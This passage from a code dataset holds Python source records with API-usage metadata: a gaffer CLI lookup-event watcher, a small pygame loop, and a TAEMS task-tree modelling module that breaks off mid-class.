"call"}, {"api_name": "torch.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 142, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 145, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 147, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 148, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 149, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 154, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 156, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 158, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 161, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 164, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 165, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 166, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 167, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 170, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 171, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 172, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 211, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 211, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 219, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 220, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 220, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 221, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 221, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 224, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 225, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 226, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 229, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 229, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 230, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 231, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 231, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 234, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 235, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 236, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 239, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 240, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 241, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 243, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 277, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 284, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 284, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 285, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 285, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 289, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 303, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 340, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 342, "usage_type": "attribute"}, {"api_name": "scipy.misc.imsave", "line_number": 353, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 353, "usage_type": "name"}, {"api_name": "mean_iou_evaluate.read_masks", "line_number": 362, "usage_type": "call"}, {"api_name": "mean_iou_evaluate.read_masks", "line_number": 363, "usage_type": "call"}, {"api_name": "mean_iou_evaluate.mean_iou_score", "line_number": 364, "usage_type": "call"}]}
{"seq_id": "19857178676", "text": "# -*- coding: utf-8 -\n#\n# This file is part of gaffer. See the NOTICE for more information.\n\nfrom datetime import datetime\nimport copy\nimport sys\n\nfrom ...console_output import colored, GAFFER_COLORS\nfrom ...lookupd.client import LookupServer\nfrom ...sig_handler import BaseSigHandler\nfrom .base import Command\n\nimport pyuv\n\nclass SigHandler(BaseSigHandler):\n\n    def __init__(self, channel):\n        super(SigHandler, self).__init__()\n        self.channel = channel\n\n    def handle_quit(self, h, *args):\n        self.stop()\n        self.channel.close()\n\n    def handle_reload(self, h, *args):\n        return\n\nclass Lookup(Command):\n    \"\"\"\n    usage: gaffer lookup (-L ADDR|--lookupd-address=ADDR) [--no-color]\n\n\n      -h, --help\n      --no-color  return with colors\n      -L ADDR --lookupd-address=ADDR  lookupd HTTP address\n    \"\"\"\n\n    name = \"lookup\"\n    short_descr = \"watch lookup events on one lookupd server\"\n\n\n    def run(self, config, args):\n        self.nocolor = args[\"--no-color\"]\n        self._balance = copy.copy(GAFFER_COLORS)\n        self._event_colors = {}\n\n        loop = pyuv.Loop.default_loop()\n\n        # connect to the lookupd server channel\n        s = LookupServer(args['--lookupd-address'], loop=loop,\n                **config.client_options)\n        channel = self.channel = s.lookup()\n\n        # initialize the signal handler\n        self._sig_handler = SigHandler(channel)\n        self._sig_handler.start(loop)\n\n        # bind to all events\n\n        channel.bind_all(self._on_event)\n        channel.start()\n\n        loop.run()\n\n    def _on_event(self, event, msg):\n        if event == \"add_node\":\n            line = self._print(event, \"add node\")\n        elif event == \"identify\":\n            line = self._print(event, \"%s: %s\" % (msg['name'],\n                msg['origin']))\n        elif event == \"remove_node\":\n            line = self._print(event, \"%s: node %s\" % (msg['name'],\n                msg['origin']))\n        else:\n            uri = msg['node']['origin']\n            if event == \"add_job\":\n                line = \"load %s in %s\" % (msg[\"job_name\"], uri)\n            elif event == \"remove_job\":\n                line = \"unload %s in %s\" % (msg[\"job_name\"], uri)\n            elif event == \"add_process\":\n                line = \"%s: process id %s spanwned on %s\" % (msg[\"job_name\"],\n                        msg[\"pid\"], uri)\n            elif event == \"remove_process\":\n                line = \"%s: process %s exited on %s\" % (msg[\"job_name\"],\n                        msg[\"pid\"], uri)\n\n            line = self._print(event, line)\n\n        self._write(event, line)\n\n    def _write(self, event, lines):\n        if not isinstance(lines, list):\n            lines = [lines]\n\n        if not self.nocolor:\n            sys.stdout.write(colored(self._get_event_color(event), lines))\n        else:\n            sys.stdout.write(''.join(lines))\n        sys.stdout.flush()\n\n    def _print(self, event, line):\n        now = datetime.now().strftime('%H:%M:%S')\n        prefix = '{time} {event} | '.format(time=now, event=event)\n        return ''.join([prefix, line, '\\n'])\n\n    def _set_event_color(self, event):\n        code = self._balance.pop(0)\n        self._event_colors[event] = code\n        self._balance.append(code)\n\n    def _get_event_color(self, event):\n        if event not in self._event_colors:\n            self._set_event_color(event)\n        return self._event_colors[event]\n", "repo_name": "benoitc/gaffer", "sub_path": "gaffer/cli/commands/lookup.py", "file_name": "lookup.py", "file_ext": "py", "file_size_in_byte": 3411, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 358, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sig_handler.BaseSigHandler", "line_number": 16, "usage_type": "name"}, {"api_name": "base.Command", "line_number": 29, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 45, "usage_type": "call"}, {"api_name": "console_output.GAFFER_COLORS", "line_number": 45, "usage_type": "argument"}, {"api_name": "pyuv.Loop.default_loop", "line_number": 48, "usage_type": "call"}, {"api_name": "pyuv.Loop", "line_number": 48, "usage_type": "attribute"}, {"api_name": "lookupd.client.LookupServer", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 97, "usage_type": "attribute"}, {"api_name": "console_output.colored", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 99, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 99, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 100, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 100, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 103, "usage_type": "name"}]}
{"seq_id": "72343299466", "text": "import pygame\nfrom map import map\nimport sys\n\nclass Jogo:\n    def __init__(self):\n        pygame.init()\n        self.janela = pygame.display.set_mode((800, 600))\n        pygame.display.set_caption(\"Jogo 2D\")\n\n        # Carrega o mapa\n        self.mapa = map(10, 10)\n\n    def run(self):\n        while True:\n            # Lógica do jogo\n\n            # Desenha o mapa na tela\n            self.mapa.desenhar(self.janela)\n\n            # Atualiza a tela\n            pygame.display.update()\n\n            # Verifica eventos\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    pygame.quit()\n                    sys.exit()\n\nif __name__ == \"__main__\":\n    jogo = Jogo()\n    jogo.run()\n", "repo_name": "danzinho007/Xadrez", "sub_path": "jogo.py", "file_name": "jogo.py", "file_ext": "py", "file_size_in_byte": 734, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 9, "usage_type": "attribute"}, {"api_name": "map.map", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "38467892566", "text": "import re\n\n__author__ = \"barbanas\"\n\nimport helper_functions\nfrom sys import maxint\nfrom collections import OrderedDict\nfrom copy import deepcopy\n\n\nclass TaemsTree(object):\n    \"\"\"\n    Class that represents the model of taems tree structure.\n\n    Holds information about all elements that define a task structure.\n\n    Attributes:\n        agent (str): Label of agent which owns the structure.\n        agentLabels (list[str]): Labels of all agents included in the execution of methods in taems tree.\n        tasks (dict[Task]): Tasks in the tree in form of: {task/method label: TaskGroup/Method object}\n        rootTask (list[str]): A list with one! element, label of root task.\n        methodLabels (list[str]): Labels of atomic methods.\n        resources (dict): {Resource label: Resource object}.\n        IRs (dict): Interrelationships in the tree in form of {IR label: Interrelationship object}.\n        activeIR (list): Active interrelationships' labels.\n    \"\"\"\n\n    def __init__(self):\n        self.agent = \"\"\n        self.agentLabels = []\n        self.tasks = OrderedDict()\n        self.rootTask = []\n        self.methodLabels = []\n        self.resources = OrderedDict()\n        self.IRs = OrderedDict()\n        self.mutuallyExclusiveTasks = []  # WUT? Ne koristi se\n        self.homogeneousTasks = []  # WUT? Ne koristi se\n        # self.IRsKeyMethodFrom = {}\n        # self.activeIR = []\n        # self.softIR = []\n        # self.hardIR = []\n\n    @classmethod\n    def init_with_values(cls, agentLabels, root, tasks, IRs, resources):\n        \"\"\"\n        Initialize TaemsTree object by manually specifying its values.\n\n        Args:\n            agentLabels (list[str]): Labels of all agents included in the execution of methods in taems tree.\n            root (str): Label of root task.\n            tasks (dict[str, Any]): Tasks in the tree in form of: {task/method label: TaskGroup/Method object}\n            IRs (dict[str, Any]): Interrelationships in the tree in form of {IR label: Interrelationship object}.\n            resources (dict[str, Any]): Resources in the tree in the form of: {resource label: Resource object}.\n\n        Returns:\n            TaemsTree object.\n        \"\"\"\n        tree = cls()\n        tree.agentLabels = agentLabels\n        tree.tasks = tasks\n        tree.rootTask = [root]\n        tree.methodLabels = [key for key, value in tasks.items() if type(value).__name__ == 'Method']\n        tree.IRs = IRs\n        tree.resources = resources\n        return tree\n\n    @staticmethod\n    def load_from_file(filename):\n        \"\"\"\n        Load taems tree from file.\n\n        Args:\n            filename (str): Path to file.\n\n        Returns:\n            Loaded taems tree as a TaemsTree object.\n        \"\"\"\n        with open(filename, 'r') as in_file:\n            type_node = None\n            root = None\n            values = {}\n            nodes = OrderedDict()\n            IRs = OrderedDict()\n            resources = OrderedDict()\n            agent_labels = set()\n            excludes = []\n\n            multi_line_name = []\n            multi_line_values = {}\n\n            for line in in_file:\n                line = line.strip()\n\n                # Line is empty or comment.\n                if not line or line.startswith('%'):\n                    continue\n\n                if type_node is None:\n                    type_node = line[6:].strip()\n\n                if type_node in ['method', 'task_group', 'enables', 'disables', 'facilitates', 'hinders', 'produces',\n                                 'consumes', 'limits', 'excludes', 'consumable_resource', 'non_consumable_resource']:\n\n                    if line.startswith('(') and line.endswith(')'):\n                        parts = line[1:-1].split(' ', 1)\n\n                        if len(parts) != 2:\n                            raise ValueError(\"Illegal input format for single line\")\n\n                        if len(multi_line_name) > 0:\n                            if multi_line_name[-1] not in multi_line_values.keys():\n                                multi_line_values[multi_line_name[-1]] = {}\n                            multi_line_values[multi_line_name[-1]][parts[0]] = parts[1]\n                        else:\n                            values[parts[0]] = parts[1]\n                    elif line.startswith('('):\n                        multi_line_name.append(line[1:])\n                    elif line.endswith(')'):\n\n                        if len(multi_line_name) > 0:\n                            values[multi_line_name[-1]] = multi_line_values[multi_line_name[-1]]\n\n                            multi_line_values.pop(multi_line_name[-1])\n                            del multi_line_name[-1]\n\n                        if len(multi_line_name) == 0:\n\n                            if type_node in ['method', 'task_group']:\n                                node_info = values.get('spec_' + type_node)\n\n                                supertasks = node_info.get('supertasks')\n                                supertasks = [supertasks] if supertasks is not None else None\n                                subtasks = node_info.get('subtasks', '').split(', ')\n                                label = node_info.get('label')\n                                task_type = node_info.get('type', 'homogeneous')\n                                agent = node_info.get('agent').replace(' ', '').split(',')\n                                qaf = node_info.get('qaf')\n                                outcome = values.get('outcome')\n                                # Outcome is loaded as dict of dicts with {'distribution': list(value, probability...)}\n                                # Convert outcome to be list of dicts with {value: probability}\n                                if outcome is not None:\n                                    outcome_list = []\n                                    for distribution in [x + '_distribution' for x in ['quality', 'duration', 'cost']]:\n                                        outcome_iter = iter(outcome[distribution].split(' '))\n                                        distribution_dict = {}\n                                        for elem in outcome_iter:\n                                            key = float(elem)\n                                            value = float(next(outcome_iter))\n                                            distribution_dict[key] = value\n                                        outcome_list.append(distribution_dict)\n                                qaf_local = node_info.get('qaf_local', '')\n\n                                # Pack all common arguments in a dictionary.\n                                kwargs = {'label': label,\n                                          'agents': agent,\n                                          'supertasks': supertasks,\n                                          'type': task_type}\n\n                                # Add a Method or a TaskGroup to the dictionary of all nodes.\n                                if type_node == 'method':\n                                    kwargs.update({'outcome': outcome_list})\n                                    nodes[label] = Method.init_with_values(**kwargs)\n                                elif type_node == 'task_group':\n                                    kwargs.update({'subtasks': subtasks, 'qaf': qaf, 'qaf_local': qaf_local})\n                                    nodes[label] = TaskGroup.init_with_values(**kwargs)\n\n                                # Update the set of agent labels in the tree.\n                                agent_labels |= set(agent)\n\n                                # If a task doesn't have supertasks, it is the root task.\n                                if supertasks is None:\n                                    root = nodes[label]\n\n                            elif type_node in Interrelationship.IR_types.keys():\n                                node_info = values.get('spec_' + type_node)\n                                label = node_info.get('label')\n\n                                # Pack all arguments in a dictionary.\n                                kwargs = {'label': label,\n                                          'agents': node_info.get('agent').replace(' ', '').split(','),\n                                          'From': node_info.get('from'),\n                                          'To': node_info.get('to'),\n                                          'delay': node_info.get('delay')}\n\n                                # Add specific IR to the dictionary of all IRs.\n                                if type_node == 'enables':\n                                    IRs[label] = IREnables.init_with_values(**kwargs)\n                                elif type_node == 'disables':\n                                    IRs[label] = IRDisables.init_with_values(**kwargs)\n                                elif type_node == 'limits':\n                                    power = {'quality': node_info.get('quality_power'),\n                                             'duration': node_info.get('duration_power'),\n                                             'cost': node_info.get('cost_power')}\n                                    kwargs.update({'power': power, 'model': node_info.get('model', 'time_independent')})\n                                    IRs[label] = IRLimits.init_with_values(**kwargs)\n                                elif type_node == 'produces':\n                                    kwargs.update({'produces': node_info.get('produces'),\n                                                   'model': node_info.get('model', 'time_independent')})\n                                    IRs[label] = IRProduces.init_with_values(**kwargs)\n                                elif type_node == 'consumes':\n                                    kwargs.update({'consumes': node_info.get('consumes'),\n                                                   'model': node_info.get('model', 'time_independent')})\n                                    IRs[label] = IRConsumes.init_with_values(**kwargs)\n\n                            elif type_node in ['consumable_resource', 'non_consumable_resource']:\n                                node_info = values.get('spec_' + type_node)\n                                label = node_info.get('label')\n                                agent = node_info.get('agent')\n                                if agent is not None:\n                                    agent = agent.replace(' ', '').split(',')\n\n                                # Pack all arguments in a dictionary.\n                                kwargs = {'label': label,\n                                          'agents': agent,\n                                          'state': node_info.get('state'),\n                                          'depleted_at': node_info.get('depleted_at'),\n                                          'overloaded_at': node_info.get('overloaded_at')}\n\n                                if type_node == 'consumable_resource':\n                                    resources[label] = ConsumableResource.init_from_values(**kwargs)\n                                elif type_node == 'non_consumable_resource':\n                                    resources[label] = NonConsumableResource.init_from_values(**kwargs)\n\n\n                            type_node = None\n                            values = {}\n\n            return TaemsTree.init_with_values(list(agent_labels), root.label, nodes, IRs, resources)\n\n    def copy(self):\n        \"\"\"\n        Return a copy of the tree.\n        \"\"\"\n        new_tree = TaemsTree.init_with_values(deepcopy(self.agentLabels),\n                                              deepcopy(self.rootTask[0]),\n                                              deepcopy(self.tasks),\n                                              deepcopy(self.IRs),\n                                              deepcopy(self.resources))\n        return new_tree\n\n    def instantiate(self, taems_id):\n        \"\"\"\n        Replace template placeholders in tree with actual mission IDs.\n\n        Args:\n            taems_id (int): Mission ID.\n        \"\"\"\n        pattern = r'(\\[[^\\]]*)X([^[]*\\])'\n        replacement = r'\\g<1>%d\\g<2>' % taems_id\n\n        # Replace placeholders in tasks\n        new_tasks = OrderedDict()\n        for key, value in self.tasks.items():\n            value.label = re.sub(pattern, replacement, value.label)\n            if value.subtasks is not None:\n                value.subtasks = [re.sub(pattern, replacement, x) for x in value.subtasks]\n            value.supertasks = [re.sub(pattern, replacement, x) for x in value.supertasks]\n            new_key = re.sub(pattern, replacement, key)\n            new_tasks[new_key] = value\n        self.tasks = new_tasks\n\n        # Replace placeholder in root task\n        self.rootTask = [re.sub(pattern, replacement, self.rootTask[0])]\n\n        # Replace placeholders in method labels\n        self.methodLabels = [re.sub(pattern, replacement, x) for x in self.methodLabels]\n\n        # Replace placeholders in resources\n        # Not yet implemented\n\n        # Replace placeholders in IRs\n        new_IRs = OrderedDict()\n        for key, value in self.IRs.items():\n            value.label = re.sub(pattern, replacement, value.label)\n            value.From = re.sub(pattern, replacement, value.From)\n            value.To = re.sub(pattern, replacement, value.To)\n            new_key = re.sub(pattern, replacement, key)\n            new_IRs[new_key] = value\n        self.IRs = new_IRs\n\n    def dump_to_file(self, filename, mode='w'):\n        \"\"\"\n        Dump taems tree structure to the file with given filename.\n\n        Args:\n            filename (str): Name of the file.\n            mode (str): 'w' for overwriting, 'a' for appending.\n        \"\"\"\n        with open(filename, mode) as dump_file:\n            if len(self.rootTask) == 0:\n                dump_file.write('% This is an empty taems file\\n')\n            else:\n                # First, write root task.\n                dump_file.write(str(self.tasks[self.rootTask[0]]))\n                dump_file.write('\\n\\n')\n                # Then, write all other tasks.\n                for label, task in self.tasks.items():\n                    if label != self.rootTask[0]:\n                        dump_file.write(str(task))\n                        dump_file.write('\\n\\n')\n                # Next, write IRs.\n                for IR in self.IRs.values():\n                    dump_file.write(str(IR))\n                    dump_file.write('\\n\\n')\n                # Finally, write resources\n                for res in self.resources.values():\n                    dump_file.write(str(res))\n                    dump_file.write('\\n\\n')\n\n    def __str__(self):\n        if len(self.rootTask) == 0:\n            return '% This is an empty taems file\\n'\n        else:\n            str_buffer = []\n            # First, write root task.\n            str_buffer.append(str(self.tasks[self.rootTask[0]]))\n            # Then, write all other tasks.\n            for label, task in self.tasks.items():\n                if label != self.rootTask[0]:\n                    str_buffer.append(str(task))\n            # Next, write IRs.\n            for IR in self.IRs.values():\n                str_buffer.append(str(IR))\n            # Finally, write resources\n            for res in self.resources.values():\n                str_buffer.append(str(res))\n\n            return '\\n\\n'.join(str_buffer)\n\n    def dump_to_dot(self, filename, graph_name='', **kwargs):\n        \"\"\"\n        Dump taems tree structure to .dot file for easy visualization.\n\n        Args:\n            filename (str): Name of the file.\n            graph_name (str): Name of the graph.\n            **kwargs: Various possible options for formatting the output.\n        \"\"\"\n\n        with open(filename, 'w') as dot_file:\n            dot_file.write('digraph {} {{\\n'.format(graph_name))\n\n            for task in self.tasks.values():\n                dot_file.write(task.to_dot(**kwargs))\n\n            for IR in self.IRs.values():\n                dot_file.write(IR.to_dot(**kwargs))\n\n            dot_file.write('}\\n')\n\n    def get_all_subtasks(self, task):\n        \"\"\"\n        Return all subtasks of given task.\n\n        Args:\n            task (str): Label of the task.\n\n        Returns:\n            List of all subtask labels.\n        \"\"\"\n\n        if task not in self.tasks.keys():\n            return []\n\n        if type(self.tasks[task]) is Method:\n            return []\n\n        allSubtasks = []\n        for subtask in self.tasks[task].subtasks:\n            if subtask in self.tasks.keys():\n                allSubtasks.append(subtask)\n            allSubtasks.extend(self.get_all_subtasks(subtask))\n\n        return allSubtasks\n\n    def removeTaskAndSubtasks(self, task):\n        \"\"\"\n        Remove given task and its subtasks from the tree structure.\n\n        Args:\n            task (str): Label of the task.\n        \"\"\"\n        toRemove = self.get_all_subtasks(task)\n\n        for item in toRemove:\n            if task in self.tasks.keys():\n                self.tasks.pop(item)\n\n        if task in self.tasks.keys():\n            self.tasks.pop(task)\n\n    def filter_agent(self, agent_labels):\n        \"\"\"\n        Remove all nodes that don't have agent type specified in agent_labels.\n\n        If a node has multiple agents specified, remove references to all agents\n        not specified in agent_labels. If a node doesn't have agents specified\n        in agent_labels in its structure, remove it completely. Also, update\n        tree's methodLabels list.\n\n        Args:\n            agent_labels (list[str]): Agent labels to leave in the tree.\n        \"\"\"\n        root_task = self.tasks[self.rootTask[0]]\n\n        # If root task doesn't have at least one of the specified agents,\n        # result is an empty tree.\n        intersection = set(agent_labels) & set(root_task.agent)\n        if len(intersection) == 0:\n            self.rootTask = None\n        else:\n            # Find tasks that need to be removed.\n            to_remove = []\n            for task in self.tasks.values():\n                intersection = set(agent_labels) & set(task.agent)\n                if len(intersection) == 0:\n                    to_remove.append(task.label)\n                else:\n                    task.agent = list(intersection)\n            # Remove tasks and methods.\n            for key in to_remove:\n                del self.tasks[key]\n                if key in self.methodLabels:\n                    self.methodLabels.remove(key)\n            # Remove IRs\n            to_remove = [IR.label for IR in self.IRs.values() if len(set(agent_labels) & set(IR.agent)) == 0]\n            for IR_label in to_remove:\n                del self.IRs[IR_label]\n\n    @staticmethod\n    def merge(first, second):\n        \"\"\"\n        Merge two taems trees.\n\n        Args:\n            first (TaemsTree): First tree.\n            second (TaemsTree): Second tree.\n\n        Returns:\n            Merged tree.\n        \"\"\"\n        result = TaemsTree()\n\n        result.agentLabels = deepcopy(first.agentLabels)\n        result.agentLabels.extend(second.agentLabels)\n\n        result.methodLabels = deepcopy(first.methodLabels)\n        result.methodLabels.extend(second.methodLabels)\n\n        result.rootTask = deepcopy(first.rootTask)\n\n        result.resources = deepcopy(first.resources)\n        result.resources.update(second.resources)\n\n        result.IRs = deepcopy(first.IRs)\n        result.IRs.update(second.IRs)\n\n        result.tasks = deepcopy(first.tasks)\n        for task in second.tasks.keys():\n            if task in result.tasks.keys():\n                if type(result.tasks[task]) is not Method:\n                    result.tasks[task].subtasks = list(\n                        set(result.tasks[task].subtasks) | set(second.tasks[task].subtasks))\n                if result.tasks[task].supertasks is not None:\n                    result.tasks[task].supertasks = list(\n                        set(result.tasks[task].supertasks) | set(second.tasks[task].supertasks))\n                result.tasks[task].earliestStartTime = max(\n                    [result.tasks[task].earliestStartTime, second.tasks[task].earliestStartTime])\n                result.tasks[task].deadline = min([result.tasks[task].deadline, second.tasks[task].deadline])\n            else:\n                result.tasks[task] = second.tasks[task]\n\n        return result\n\n\nclass Agent(object):\n    \"\"\"\n    Class that models an agent which can execute methods in taems tree.\n\n    Attributes:\n        label (str): Agent's label, unique name of the agent.\n    \"\"\"\n\n    def __init__(self):\n        self.label = \"\"\n\n\nclass Node(object):\n    \"\"\"\n    Base class for an element of taems tree.\n\n    Classes that inherit this class are: Task and Resource.\n\n    Attributes:\n        label (str): Element's label, has to be unique among the elements of the same class.\n        agent (List[str]): Labels (types) of the agents who 'own' the element (are responsible for it).\n    \"\"\"\n\n    def __init__(self):\n        self.label = ''\n        self.agent = []\n\n\nclass Task(Node):\n    \"\"\"\n    Class that represents a task (taskgroup and method) in taems tree structure.\n\n    This class inherits attributes from Node class.\n    Classes that inherit this class are: TaskGroup and Method.\n\n    Attributes:\n        subtasks (list[str]): Labels of Task's subtasks - empty for Method.\n        supertasks (list[str]): Labels of Task's supertasks - optional for TaskGroup / empty if root.\n        earliestStartTime (float): Earliest execution start time.\n        deadline (float): Deadline for finishing execution.\n        qaf (str): Quality function identifier.\n        qaf_local (str): Local quality function identifier.\n        type (str): 'homogeneous'\n    \"\"\"\n    # WUT? Koliko vidim, Task se bas i ne koristi, svugdje je TaskGroup\n    def __init__(self):\n        super(Task, self).__init__()\n        self.subtasks = []  # doesn't exist for method\n        self.supertasks = []  # optional for TaskGroup (if root task)\n        self.earliestStartTime = None\n        self.deadline = None\n        self.qaf = ''\n        self.qaf_local = ''\n        self.type = 'homogeneous'\n\n    def __str__(self):\n        str_buffer = []\n        str_buffer.append('(spec_task')\n        str_buffer.append('\\t(label {})'.format(self.label))\n        str_buffer.append('\\t(agent {})'.format(', '.join(self.agent)))\n        str_buffer.append('\\t(supertasks {})'.format(', '.join(self.supertasks)))\n        str_buffer.append('\\t(subtasks {})'.format(', '.join(self.subtasks)))\n        str_buffer.append('\\t(qaf 